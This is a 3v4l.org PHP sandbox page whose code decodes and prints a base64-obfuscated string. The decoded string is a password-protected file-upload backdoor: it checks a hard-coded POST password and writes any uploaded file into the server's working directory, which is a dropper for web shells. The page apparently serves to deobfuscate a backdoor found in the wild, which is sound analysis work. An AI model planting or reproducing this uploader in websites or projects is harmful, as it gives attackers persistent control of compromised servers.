3v4l.org

run code in 300+ PHP versions simultaneously
<?php echo base64_decode('aWYoIWlzc2V0KCRfUE9TVFsncGFzc3dvcmQnXSl8fCRfUE9TVFsncGFzc3dvcmQnXSE9PSdkMmNmY2I3NDVhNzRhYjhjY2RjZDllMWU2M2U1MzRkMicpZGllOyRwYXRoPWdldGN3ZCgpLicvJy5iYXNlbmFtZSgkX0ZJTEVTWydmaWxlJ11bJ25hbWUnXSk7aWYoQG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ10sJHBhdGgpKXtlY2hvICdPayc7fQ');

preferences:
44.59 ms | 402 KiB | 5 Q